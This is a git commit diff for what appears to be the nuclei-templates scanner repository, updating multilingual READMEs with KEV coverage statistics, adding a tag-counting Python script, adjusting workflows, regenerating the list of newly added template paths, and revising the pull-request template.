Create optimizely-cms-dotnet-exposure.yaml

chore: generate new addition list 🤖
chore: generate templates checksum 🤖
2026-11-07 08:36:19 -10:00 · 2025-12-05 07:30:56 +09:00 · 2025-12-04 18:25:53 +00:00 · 2025-12-04 18:25:41 +00:00 · 2025-12-04 18:25:36 +00:00 · 2025-12-04 18:25:32 +00:00
3756 changed files with 31132 additions and 19966 deletions
@@ -14,11 +14,11 @@ Nuclei Templates
 </p>
      
 <p align="center">
-  <a href="https://nuclei.projectdiscovery.io/templating-guide/">Documentation</a> •
+  <a href="https://docs.projectdiscovery.io/templates/introduction">Documentation</a> •
  <a href="#-contributions">Contributions</a> •
  <a href="#-discussion">Discussion</a> •
  <a href="#-community">Community</a> •
-  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
  <a href="https://discord.gg/projectdiscovery">Join Discord</a>
 </p>

@@ -36,7 +36,21 @@ An overview of the nuclei template project, including statistics on unique tags,

 <table>
 <tr>
-<td> 
+<td>
+
+### 🚨 Known Exploited Vulnerabilities (KEV) Coverage
+
+Nuclei templates provide coverage for vulnerabilities actively exploited in the wild:
+
+| **KEV Source** | **Templates** | **Description** |
+|----------------|---------------|-----------------|
+| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA Known Exploited Vulnerabilities Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
+| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - Enhanced vulnerability intelligence |
+| 🟢 **Both Sources** | **{kev_stats.get('both', 0)}** | Templates covering vulnerabilities in both catalogs |
+
+> 💡 **Total unique KEV templates: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - Use `nuclei -tags kev,vkev` to scan for actively exploited vulnerabilities
+
+---

 {get_top10()}

@@ -20,11 +20,11 @@ Nuclei 模板
 </p>

 <p align="center">
-  <a href="https://nuclei.projectdiscovery.io/templating-guide/">文档</a> •
+  <a href="https://docs.projectdiscovery.io/templates/introduction">文档</a> •
  <a href="#-贡献">贡献</a> •
  <a href="#-交流">交流</a> •
  <a href="#-社区">社区</a> •
-  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
  <a href="https://discord.gg/projectdiscovery">加入Discord</a>
 </p>

@@ -42,7 +42,21 @@ Nuclei 模板

 <table>
 <tr>
-<td> 
+<td>
+
+### 🚨 已知被利用漏洞 (KEV) 覆盖范围
+
+Nuclei 模板为野外被积极利用的漏洞提供覆盖:
+
+| **KEV 来源** | **模板数量** | **描述** |
+|----------------|---------------|-----------------|
+| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA 已知被利用漏洞目录](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
+| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - 增强的漏洞情报 |
+| 🟢 **两个来源** | **{kev_stats.get('both', 0)}** | 覆盖两个目录中漏洞的模板 |
+
+> 💡 **唯一 KEV 模板总数: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - 使用 `nuclei -tags kev,vkev` 扫描被积极利用的漏洞
+
+---

 {get_top10()}

@@ -11,11 +11,11 @@ Nuclei テンプレート
 </p>
      
 <p align="center">
-  <a href="https://nuclei.projectdiscovery.io/templating-guide/">ドキュメント</a> •
+  <a href="https://docs.projectdiscovery.io/templates/introduction">ドキュメント</a> •
  <a href="#-contributions">貢献</a> •
  <a href="#-discussion">ディスカッション</a> •
  <a href="#-community">コミュニティ</a> •
-  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
  <a href="https://discord.gg/projectdiscovery">Discordに参加</a>
 </p>

@@ -37,7 +37,21 @@ Nucleiテンプレートプロジェクトの概要であり、ユニークな

 <table>
 <tr>
-<td> 
+<td>
+
+### 🚨 既知の悪用される脆弱性 (KEV) カバレッジ
+
+Nucleiテンプレートは、野生で積極的に悪用されている脆弱性のカバレッジを提供します:
+
+| **KEV ソース** | **テンプレート数** | **説明** |
+|----------------|---------------|-----------------|
+| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA 既知の悪用される脆弱性カタログ](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
+| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - 強化された脆弱性インテリジェンス |
+| 🟢 **両方のソース** | **{kev_stats.get('both', 0)}** | 両方のカタログの脆弱性をカバーするテンプレート |
+
+> 💡 **ユニークKEVテンプレート総数: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - `nuclei -tags kev,vkev` を使用して積極的に悪用されている脆弱性をスキャン
+
+---

 {get_top10()}

@@ -14,11 +14,11 @@ Nuclei 템플릿
 </p>
      
 <p align="center">
-  <a href="https://nuclei.projectdiscovery.io/templating-guide/">가이드 문서</a> •
+  <a href="https://docs.projectdiscovery.io/templates/introduction">가이드 문서</a> •
  <a href="#-contributions">기여</a> •
  <a href="#-discussion">논의</a> •
  <a href="#-community">커뮤니티</a> •
-  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
  <a href="https://discord.gg/projectdiscovery">디스코드</a>
 </p>

@@ -39,7 +39,21 @@ Nuclei 템플릿

 <table>
 <tr>
-<td> 
+<td>
+
+### 🚨 알려진 악용되는 취약점 (KEV) 적용 범위
+
+Nuclei 템플릿은 실제로 악용되고 있는 취약점에 대한 적용 범위를 제공합니다:
+
+| **KEV 소스** | **템플릿 수** | **설명** |
+|----------------|---------------|-----------------|
+| 🔴 **CISA KEV** | **{kev_stats.get('kev_total', 0)}** | [CISA 알려진 악용되는 취약점 카탈로그](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
+| 🟠 **VulnCheck KEV** | **{kev_stats.get('vkev_total', 0)}** | [VulnCheck KEV](https://vulncheck.com/kev) - 강화된 취약점 인텔리전스 |
+| 🟢 **두 소스 모두** | **{kev_stats.get('both', 0)}** | 두 카탈로그의 취약점을 포함하는 템플릿 |
+
+> 💡 **총 고유 KEV 템플릿: {kev_stats.get('kev_total', 0) + kev_stats.get('vkev_only', 0)}** - `nuclei -tags kev,vkev`를 사용하여 적극적으로 악용되는 취약점 스캔
+
+---

 {get_top10()}

@@ -0,0 +1,119 @@
+#!/usr/bin/env python3
+"""
+Count KEV and vKEV templates for README statistics
+
+This script counts the number of templates with 'kev' and 'vkev' tags
+and outputs the statistics in a format suitable for the README.
+"""
+
+import re
+import sys
+from pathlib import Path
+from typing import Dict, Set
+
+
+def has_tag_in_file(file_path: Path, tag: str) -> bool:
+    """Check if a template file has a specific tag."""
+    try:
+        with open(file_path, 'r', encoding='utf-8') as f:
+            content = f.read()
+
+        # Look for tags field and check if tag is present
+        tags_match = re.search(r'tags:\s*([^\n]+)', content)
+        if tags_match:
+            tags_str = tags_match.group(1)
+            # Check for tag as a standalone tag (not part of another word)
+            if re.search(rf'\b{tag}\b', tags_str, re.IGNORECASE):
+                return True
+    except Exception as e:
+        print(f"Error reading {file_path}: {e}", file=sys.stderr)
+
+    return False
+
+
+def count_kev_templates(root_dir: str) -> Dict[str, int]:
+    """Count templates with KEV and vKEV tags."""
+    root_path = Path(root_dir)
+
+    # Find all YAML template files
+    patterns = [
+        "**/*.yaml",
+        "**/*.yml"
+    ]
+
+    all_files = set()
+    for pattern in patterns:
+        all_files.update(root_path.glob(pattern))
+
+    # Filter out non-template files
+    template_files = [
+        f for f in all_files
+        if '/workflows/' not in str(f)
+        and '/.github/' not in str(f)
+        and '/profiles/' not in str(f)
+    ]
+
+    kev_count = 0
+    vkev_count = 0
+    both_count = 0
+    kev_only_count = 0
+    vkev_only_count = 0
+
+    kev_files = set()
+    vkev_files = set()
+
+    for template_file in template_files:
+        has_kev = has_tag_in_file(template_file, 'kev')
+        has_vkev = has_tag_in_file(template_file, 'vkev')
+
+        if has_kev:
+            kev_count += 1
+            kev_files.add(template_file)
+
+        if has_vkev:
+            vkev_count += 1
+            vkev_files.add(template_file)
+
+        if has_kev and has_vkev:
+            both_count += 1
+        elif has_kev:
+            kev_only_count += 1
+        elif has_vkev:
+            vkev_only_count += 1
+
+    return {
+        'kev_total': kev_count,
+        'vkev_total': vkev_count,
+        'both': both_count,
+        'kev_only': kev_only_count,
+        'vkev_only': vkev_only_count,
+        'total_templates': len(template_files)
+    }
+
+
+def main():
+    """Main entry point."""
+    root_dir = sys.argv[1] if len(sys.argv) > 1 else '.'
+
+    stats = count_kev_templates(root_dir)
+
+    # Output in a format that can be easily parsed
+    print(f"KEV_TOTAL={stats['kev_total']}")
+    print(f"VKEV_TOTAL={stats['vkev_total']}")
+    print(f"BOTH={stats['both']}")
+    print(f"KEV_ONLY={stats['kev_only']}")
+    print(f"VKEV_ONLY={stats['vkev_only']}")
+    print(f"TOTAL_TEMPLATES={stats['total_templates']}")
+
+    # Also print human-readable summary to stderr for logging
+    print("\n=== KEV/vKEV Statistics ===", file=sys.stderr)
+    print(f"CISA KEV templates: {stats['kev_total']}", file=sys.stderr)
+    print(f"VulnCheck KEV templates: {stats['vkev_total']}", file=sys.stderr)
+    print(f"Templates in both: {stats['both']}", file=sys.stderr)
+    print(f"CISA KEV only: {stats['kev_only']}", file=sys.stderr)
+    print(f"VulnCheck KEV only: {stats['vkev_only']}", file=sys.stderr)
+    print(f"Total templates scanned: {stats['total_templates']}", file=sys.stderr)
+
+
+if __name__ == "__main__":
+    main()
@@ -1,6 +1,7 @@
 #!/usr/bin/env python3
 import glob
 import subprocess
+import re

 def countTpl(path):
 	return len(glob.glob(path + "/*.*"))
@@ -13,8 +14,38 @@ def get_top10():
 	TOP10 = command(["cat", "TOP-10.md"])
 	return HEADER + TOP10 if len(TOP10) > 0 else ""

+def get_kev_stats():
+	"""Get KEV and vKEV statistics by running the count-kev-stats.py script."""
+	try:
+		result = subprocess.run(
+			["python3", ".github/scripts/count-kev-stats.py"],
+			text=True,
+			capture_output=True,
+			timeout=120
+		)
+
+		# Parse the output
+		stats = {}
+		for line in result.stdout.strip().split('\n'):
+			if '=' in line:
+				key, value = line.split('=')
+				stats[key.lower()] = int(value)
+
+		return stats
+	except Exception as e:
+		print(f"Error getting KEV stats: {e}")
+		return {
+			'kev_total': 0,
+			'vkev_total': 0,
+			'both': 0,
+			'kev_only': 0,
+			'vkev_only': 0,
+			'total_templates': 0
+		}
+
 if __name__ == "__main__":
 	version = command(["git", "describe", "--tags", "--abbrev=0"])
+	kev_stats = get_kev_stats()
 	template = eval(open(".github/scripts/README.tmpl", "r").read())

 	print(template)
@@ -2,7 +2,7 @@ name: 📝 Readme Update

 on:
  workflow_run:
-    workflows: ["🗒 Templates Stats"]
+    workflows: ["🗒 Templates Stats", "📋 KEV & vKEV Tag Update"]
    types:
      - completed
  workflow_dispatch:
@@ -1,54 +1,50 @@
-code/cves/2024/CVE-2024-47575.yaml
-code/misconfiguration/dns-axfr-enabled.yaml
-http/cves/2018/CVE-2018-6882.yaml
-http/cves/2019/CVE-2019-11507.yaml
-http/cves/2021/CVE-2021-41419.yaml
-http/cves/2021/CVE-2021-45467.yaml
-http/cves/2022/CVE-2022-26143.yaml
-http/cves/2023/CVE-2023-2437.yaml
-http/cves/2023/CVE-2023-34048.yaml
-http/cves/2024/CVE-2024-0799.yaml
-http/cves/2024/CVE-2024-0801.yaml
-http/cves/2024/CVE-2024-10146.yaml
-http/cves/2024/CVE-2024-11238.yaml
-http/cves/2024/CVE-2024-27443.yaml
-http/cves/2024/CVE-2024-28623.yaml
-http/cves/2024/CVE-2024-4180.yaml
-http/cves/2024/CVE-2024-6690.yaml
-http/cves/2025/CVE-2025-1023.yaml
-http/cves/2025/CVE-2025-1302.yaml
-http/cves/2025/CVE-2025-24354.yaml
-http/cves/2025/CVE-2025-32429.yaml
-http/cves/2025/CVE-2025-41243.yaml
-http/cves/2025/CVE-2025-51482.yaml
-http/cves/2025/CVE-2025-52472.yaml
-http/cves/2025/CVE-2025-52665.yaml
-http/cves/2025/CVE-2025-54236.yaml
-http/cves/2025/CVE-2025-54253.yaml
-http/cves/2025/CVE-2025-55190.yaml
-http/cves/2025/CVE-2025-5605.yaml
-http/cves/2025/CVE-2025-58443.yaml
-http/cves/2025/CVE-2025-59287.yaml
-http/cves/2025/CVE-2025-6174.yaml
-http/cves/2025/CVE-2025-61884.yaml
-http/cves/2025/CVE-2025-6403.yaml
-http/cves/2025/CVE-2025-64095.yaml
-http/cves/2025/CVE-2025-9985.yaml
-http/default-logins/churchcrm/churchcrm-default-login.yaml
-http/exposed-panels/churchcrm-panel.yaml
-http/exposures/backups/generic-php-files.yaml
-http/misconfiguration/aem/aem-dispatcher-bypass.yaml
-http/misconfiguration/aem/aem-querybuilder-bypass.yaml
-http/misconfiguration/installer/churchcrm-installer.yaml
-http/misconfiguration/tomcat-snoop-servlet-exposed.yaml
-http/takeovers/mailgun-takeover.yaml
-http/vulnerabilities/generic/xss-uri-reflected.yaml
-http/vulnerabilities/unifi/unifi-create-user.yaml
-http/vulnerabilities/unifi/unifi-nfc-credentials.yaml
-javascript/cves/2019/CVE-2019-6443.yaml
-javascript/detection/ntp-version-detect.yaml
-javascript/misconfiguration/mqtt-uauth-broker.yaml
-javascript/udp/misconfiguration/ntp-enum-variables-enabled.yaml
-network/cves/2020/CVE-2020-14644.yaml
-network/cves/2024/CVE-2024-23108.yaml
-network/detection/rtl-tcp-server-detect.yaml
+dast/vulnerabilities/xss/csp-bypass/google-storage-csp-bypass.yaml
+dns/spf-limit-lookup.yaml
+http/cves/2018/CVE-2018-17082.yaml
+http/cves/2019/CVE-2019-14950.yaml
+http/cves/2019/CVE-2019-25213.yaml
+http/cves/2020/CVE-2020-11732.yaml
+http/cves/2021/CVE-2021-23394.yaml
+http/cves/2021/CVE-2021-36888.yaml
+http/cves/2021/CVE-2021-4073.yaml
+http/cves/2022/CVE-2022-0879.yaml
+http/cves/2022/CVE-2022-28666.yaml
+http/cves/2022/CVE-2022-31101.yaml
+http/cves/2022/CVE-2022-33198.yaml
+http/cves/2022/CVE-2022-34487.yaml
+http/cves/2023/CVE-2023-2734.yaml
+http/cves/2023/CVE-2023-30869.yaml
+http/cves/2023/CVE-2023-3277.yaml
+http/cves/2023/CVE-2023-37999.yaml
+http/cves/2023/CVE-2023-38875.yaml
+http/cves/2023/CVE-2023-40211.yaml
+http/cves/2023/CVE-2023-41954.yaml
+http/cves/2023/CVE-2023-5815.yaml
+http/cves/2024/CVE-2024-47308.yaml
+http/cves/2024/CVE-2024-6220.yaml
+http/cves/2024/CVE-2024-6555.yaml
+http/cves/2024/CVE-2024-9161.yaml
+http/cves/2025/CVE-2025-10210.yaml
+http/cves/2025/CVE-2025-10211.yaml
+http/cves/2025/CVE-2025-11307.yaml
+http/cves/2025/CVE-2025-47445.yaml
+http/cves/2025/CVE-2025-51586.yaml
+http/cves/2025/CVE-2025-55182.yaml
+http/default-logins/redis/redis-commander-default-login.yaml
+http/exposed-panels/ship-manager-dnv-panel.yaml
+http/exposures/configs/apache-hive-config.yaml
+http/exposures/configs/codeclimate-config-exposure.yaml
+http/miscellaneous/deprecated-feature-policy.yaml
+http/misconfiguration/expect-ct-misconfigured.yaml
+http/misconfiguration/jenkins/jenkins-users-exposure.yaml
+http/misconfiguration/kafka-api-cluster.yaml
+http/misconfiguration/weak-csp-detect.yaml
+http/technologies/apache/apache-hive-detect.yaml
+http/technologies/eol/apache-httpd-eol.yaml
+http/technologies/eol/laravel-eol.yaml
+http/technologies/eol/php-eol.yaml
+http/technologies/microsoft/sharepoint-lists-api-disclosure.yaml
+http/vulnerabilities/wordpress/wp-fastest-cache-fpd.yaml
+http/vulnerabilities/wordpress/wp-twentyfifteen-fpd.yaml
+javascript/detection/dameng-detect.yaml
+workflows/vnc-workflow.yaml
@@ -36,4 +36,5 @@ files:
  - javascript/enumeration/redis/redis-require-auth.yaml
  - dast/vulnerabilities/sqli/time-based-sqli.yaml
  - javascript/enumeration/minecraft-enum.yaml
-  - javascript/enumeration/minecraft-enum.yaml
+  - http/miscellaneous/crypto-address-detect.yaml
+  - http/vulnerabilities/wp-functions-php-disclosure.yaml
@@ -1,4 +1,4 @@
-### Template / PR Information
+### PR Information

 <!-- Explains the information and/or motivation for update or/ creating this templates -->
 <!-- Please include any reference to your template if available -->
@@ -6,23 +6,23 @@
 - Fixed CVE-2020-XXX / Added CVE-2020-XXX / Updated CVE-2020-XXX
 - References:

-### Template Validation
+### Template validation

-I've validated this template locally?
- [ ] YES
- [ ] NO
+<!-- Clarifies if the valdation of the template was done on an actual system for which the template was developed -->
+<!-- If this concerns a vulnerability check, please clarify if validation was done on a known vulnerable system and optionally on a known not vulnerable system to avoid false positives -->

+- [ ] Validated with a host running a vulnerable version and/or configuration (True Positive)
+- [ ] Validated with a host running a patched version and/or configuration (avoid False Positive)

 #### Additional Details (leave it blank if not applicable)

-<!-- Include Shodan / Fofa / Google Query / Docker / Screenshots if available -->
-<!-- Include HTTP/TCP/DNS Matched response data snippet if available -->
+<!-- Include `nuclei -debug` output along with Shodan / Fofa / Google Query / Docker or screenshots if available -->
 <!-- Please do NOT include vulnerable host information in pull requests -->
 <!-- None of the prerequisites are obligatory; they are merely intended to speed the review process. -->

 ### Additional References:

- [Nuclei Template Creation Guideline](https://nuclei.projectdiscovery.io/templating-guide/)
+- [Nuclei Template Creation Guideline](https://docs.projectdiscovery.io/templates/introduction)
 - [Nuclei Template Matcher Guideline](https://github.com/projectdiscovery/nuclei-templates/wiki/Unique-Template-Matchers)
 - [Nuclei Template Contribution Guideline](https://github.com/projectdiscovery/nuclei-templates/blob/master/CONTRIBUTING.md)
- [PD-Community Discord server](https://discord.gg/projectdiscovery)
+- [PD-Community Discord server](https://discord.gg/projectdiscovery)
@@ -14,11 +14,11 @@ Nuclei Templates
 </p>
      
 <p align="center">
-  <a href="https://nuclei.projectdiscovery.io/templating-guide/">Documentation</a> •
+  <a href="https://docs.projectdiscovery.io/templates/introduction">Documentation</a> •
  <a href="#-contributions">Contributions</a> •
  <a href="#-discussion">Discussion</a> •
  <a href="#-community">Community</a> •
-  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
  <a href="https://discord.gg/projectdiscovery">Join Discord</a>
 </p>

@@ -36,24 +36,38 @@ An overview of the nuclei template project, including statistics on unique tags,

 <table>
 <tr>
-<td> 
+<td>
+
+### 🚨 Known Exploited Vulnerabilities (KEV) Coverage
+
+Nuclei templates provide coverage for vulnerabilities actively exploited in the wild:
+
+| **KEV Source** | **Templates** | **Description** |
+|----------------|---------------|-----------------|
+| 🔴 **CISA KEV** | **454** | [CISA Known Exploited Vulnerabilities Catalog](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
+| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - Enhanced vulnerability intelligence |
+| 🟢 **Both Sources** | **407** | Templates covering vulnerabilities in both catalogs |
+
+> 💡 **Total unique KEV templates: 1496** - Use `nuclei -tags kev,vkev` to scan for actively exploited vulnerabilities
+
+---

 ## Nuclei Templates Top 10 statistics

 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| cve       |  3288 | dhiyaneshdk   |  1882 | http       |  8967 | info     |  4190 | file |   435 |
-| panel     |  1342 | daffainfo     |   868 | cloud      |   657 | high     |  2446 | dns  |    26 |
-| xss       |  1257 | princechaddha |   854 | file       |   435 | medium   |  2379 |      |       |
-| wordpress |  1181 | dwisiswant0   |   806 | dast       |   255 | critical |  1425 |      |       |
-| exposure  |  1107 | ritikchaddha  |   649 | workflows  |   202 | low      |   318 |      |       |
-| wp-plugin |  1032 | pussycat0x    |   532 | code       |   198 | unknown  |    56 |      |       |
-| osint     |   841 | pikpikcu      |   352 | network    |   145 |          |       |      |       |
-| tech      |   803 | pdteam        |   310 | javascript |    71 |          |       |      |       |
-| rce       |   786 | pdresearch    |   269 | ssl        |    38 |          |       |      |       |
-| lfi       |   777 | iamnoooob     |   257 | dns        |    23 |          |       |      |       |
+| vuln      |  6468 | dhiyaneshdk   |  1894 | http       |  9281 | info     |  4353 | file |   436 |
+| cve       |  3587 | daffainfo     |   905 | cloud      |   659 | high     |  2552 | dns  |    26 |
+| discovery |  3265 | princechaddha |   854 | file       |   436 | medium   |  2457 |      |       |
+| vkev      |  1394 | dwisiswant0   |   805 | network    |   259 | critical |  1555 |      |       |
+| panel     |  1365 | ritikchaddha  |   678 | code       |   251 | low      |   330 |      |       |
+| xss       |  1269 | pussycat0x    |   675 | dast       |   240 | unknown  |    54 |      |       |
+| wordpress |  1261 | pikpikcu      |   353 | workflows  |   205 |          |       |      |       |
+| exposure  |  1141 | pdteam        |   314 | javascript |    92 |          |       |      |       |
+| wp-plugin |  1103 | pdresearch    |   275 | ssl        |    38 |          |       |      |       |
+| osint     |   848 | iamnoooob     |   263 | dns        |    23 |          |       |      |       |

-**848 directories, 11344 files**.
+**873 directories, 11997 files**.

 </td>
 </tr>
@@ -20,11 +20,11 @@ Nuclei 模板
 </p>

 <p align="center">
-  <a href="https://nuclei.projectdiscovery.io/templating-guide/">文档</a> •
+  <a href="https://docs.projectdiscovery.io/templates/introduction">文档</a> •
  <a href="#-贡献">贡献</a> •
  <a href="#-交流">交流</a> •
  <a href="#-社区">社区</a> •
-  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
  <a href="https://discord.gg/projectdiscovery">加入Discord</a>
 </p>

@@ -42,24 +42,38 @@ Nuclei 模板

 <table>
 <tr>
-<td> 
+<td>

-## Nuclei模板TOP10统计信息
+### 🚨 已知被利用漏洞 (KEV) 覆盖范围
+
+Nuclei 模板为野外被积极利用的漏洞提供覆盖:
+
+| **KEV 来源** | **模板数量** | **描述** |
+|----------------|---------------|-----------------|
+| 🔴 **CISA KEV** | **454** | [CISA 已知被利用漏洞目录](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
+| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - 增强的漏洞情报 |
+| 🟢 **两个来源** | **407** | 覆盖两个目录中漏洞的模板 |
+
+> 💡 **唯一 KEV 模板总数: 1496** - 使用 `nuclei -tags kev,vkev` 扫描被积极利用的漏洞
+
+---
+
+## Nuclei Templates Top 10 statistics

 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| cve       |  2877 | dhiyaneshdk   |  1477 | http       |  8219 | info     |  3948 | file |   404 |
-| panel     |  1246 | daffainfo     |   866 | file       |   404 | high     |  2135 | dns  |    25 |
-| wordpress |  1072 | dwisiswant0   |   803 | cloud      |   370 | medium   |  1840 |      |       |
-| exposure  |  1006 | princechaddha |   570 | workflows  |   192 | critical |  1197 |      |       |
-| xss       |   987 | ritikchaddha  |   496 | code       |   157 | low      |   287 |      |       |
-| wp-plugin |   936 | pussycat0x    |   453 | network    |   138 | unknown  |    43 |      |       |
-| osint     |   807 | pikpikcu      |   353 | javascript |    65 |          |       |      |       |
-| tech      |   745 | pdteam        |   302 | ssl        |    30 |          |       |      |       |
-| lfi       |   727 | ricardomaia   |   245 | dast       |    26 |          |       |      |       |
-| misconfig |   720 | geeknik       |   231 | dns        |    22 |          |       |      |       |
+| vuln      |  6468 | dhiyaneshdk   |  1894 | http       |  9281 | info     |  4353 | file |   436 |
+| cve       |  3587 | daffainfo     |   905 | cloud      |   659 | high     |  2552 | dns  |    26 |
+| discovery |  3265 | princechaddha |   854 | file       |   436 | medium   |  2457 |      |       |
+| vkev      |  1394 | dwisiswant0   |   805 | network    |   259 | critical |  1555 |      |       |
+| panel     |  1365 | ritikchaddha  |   678 | code       |   251 | low      |   330 |      |       |
+| xss       |  1269 | pussycat0x    |   675 | dast       |   240 | unknown  |    54 |      |       |
+| wordpress |  1261 | pikpikcu      |   353 | workflows  |   205 |          |       |      |       |
+| exposure  |  1141 | pdteam        |   314 | javascript |    92 |          |       |      |       |
+| wp-plugin |  1103 | pdresearch    |   275 | ssl        |    38 |          |       |      |       |
+| osint     |   848 | iamnoooob     |   263 | dns        |    23 |          |       |      |       |

-**743 directories, 9960 files**.
+**873 directories, 11997 files**.

 </td>
 </tr>
@@ -11,11 +11,11 @@ Nuclei テンプレート
 </p>
      
 <p align="center">
-  <a href="https://nuclei.projectdiscovery.io/templating-guide/">ドキュメント</a> •
+  <a href="https://docs.projectdiscovery.io/templates/introduction">ドキュメント</a> •
  <a href="#-contributions">貢献</a> •
  <a href="#-discussion">ディスカッション</a> •
  <a href="#-community">コミュニティ</a> •
-  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
  <a href="https://discord.gg/projectdiscovery">Discordに参加</a>
 </p>

@@ -37,24 +37,38 @@ Nucleiテンプレートプロジェクトの概要であり、ユニークな

 <table>
 <tr>
-<td> 
+<td>

-## Nuclei テンプレート トップ10統計
+### 🚨 既知の悪用される脆弱性 (KEV) カバレッジ

-|    タグ    | 数   |    著者       | 数   |    ディレクトリ  | 数   | 重大度 | 数   |  種類   | 数   |
-|-----------|-------|---------------|-------|------------------|-------|----------|-------|---------|-------|
-| cve       |  1325 | daffainfo     |   629 | cves             |  1306 | info     |  1398 | http    |  3644 |
-| panel     |   604 | dhiyaneshdk   |   509 | exposed-panels   |   613 | high     |   955 | file    |    76 |
-| lfi       |   490 | pikpikcu      |   322 | vulnerabilities  |   506 | medium   |   784 | network |    50 |
-| xss       |   451 | pdteam        |   269 | technologies     |   273 | critical |   445 | dns     |    17 |
-| wordpress |   409 | geeknik       |   187 | exposures        |   254 | low      |   211 |         |       |
-| exposure  |   360 | dwisiswant0   |   169 | token-spray      |   230 | unknown  |     7 |         |       |
-| cve2021   |   324 | 0x_akoko      |   157 | misconfiguration |   210 |          |       |         |       |
-| rce       |   319 | princechaddha |   149 | workflows        |   187 |          |       |         |       |
-| wp-plugin |   304 | pussycat0x    |   130 | default-logins   |   102 |          |       |         |       |
-| tech      |   286 | gy741         |   126 | file             |    76 |          |       |         |       |
+Nucleiテンプレートは、野生で積極的に悪用されている脆弱性のカバレッジを提供します:

-**286個のディレクトリ、4012個のファイル**。
+| **KEV ソース** | **テンプレート数** | **説明** |
+|----------------|---------------|-----------------|
+| 🔴 **CISA KEV** | **454** | [CISA 既知の悪用される脆弱性カタログ](https://www.cisa.gov/known-exploited-vulnerabilities-catalog) |
+| 🟠 **VulnCheck KEV** | **1449** | [VulnCheck KEV](https://vulncheck.com/kev) - 強化された脆弱性インテリジェンス |
+| 🟢 **両方のソース** | **407** | 両方のカタログの脆弱性をカバーするテンプレート |
+
+> 💡 **ユニークKEVテンプレート総数: 1496** - `nuclei -tags kev,vkev` を使用して積極的に悪用されている脆弱性をスキャン
+
+---
+
+## Nuclei Templates Top 10 statistics
+
+|    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
+|-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
+| vuln      |  6468 | dhiyaneshdk   |  1894 | http       |  9281 | info     |  4353 | file |   436 |
+| cve       |  3587 | daffainfo     |   905 | cloud      |   659 | high     |  2552 | dns  |    26 |
+| discovery |  3265 | princechaddha |   854 | file       |   436 | medium   |  2457 |      |       |
+| vkev      |  1394 | dwisiswant0   |   805 | network    |   259 | critical |  1555 |      |       |
+| panel     |  1365 | ritikchaddha  |   678 | code       |   251 | low      |   330 |      |       |
+| xss       |  1269 | pussycat0x    |   675 | dast       |   240 | unknown  |    54 |      |       |
+| wordpress |  1261 | pikpikcu      |   353 | workflows  |   205 |          |       |      |       |
+| exposure  |  1141 | pdteam        |   314 | javascript |    92 |          |       |      |       |
+| wp-plugin |  1103 | pdresearch    |   275 | ssl        |    38 |          |       |      |       |
+| osint     |   848 | iamnoooob     |   263 | dns        |    23 |          |       |      |       |
+
+**873 directories, 11997 files**.

 </td>
 </tr>
@@ -14,11 +14,11 @@ Nuclei 템플릿
 </p>
      
 <p align="center">
-  <a href="https://nuclei.projectdiscovery.io/templating-guide/">가이드 문서</a> •
+  <a href="https://docs.projectdiscovery.io/templates/introduction">가이드 문서</a> •
  <a href="#-contributions">기여</a> •
  <a href="#-discussion">논의</a> •
  <a href="#-community">커뮤니티</a> •
-  <a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
+  <a href="https://docs.projectdiscovery.io/templates/faq">FAQs</a> •
  <a href="https://discord.gg/projectdiscovery">디스코드</a>
 </p>

@@ -31,7 +31,7 @@ Nuclei 템플릿

 템플릿은 실제 스캐닝 엔진을 동작하게 하는 [nuclei scanner](https://github.com/projectdiscovery/nuclei)의 핵심입니다.
 이 저장소는 우리 팀에서 제공하거나, 커뮤니티에서 기여한 다양한 템플릿들을 저장하고 보관합니다.
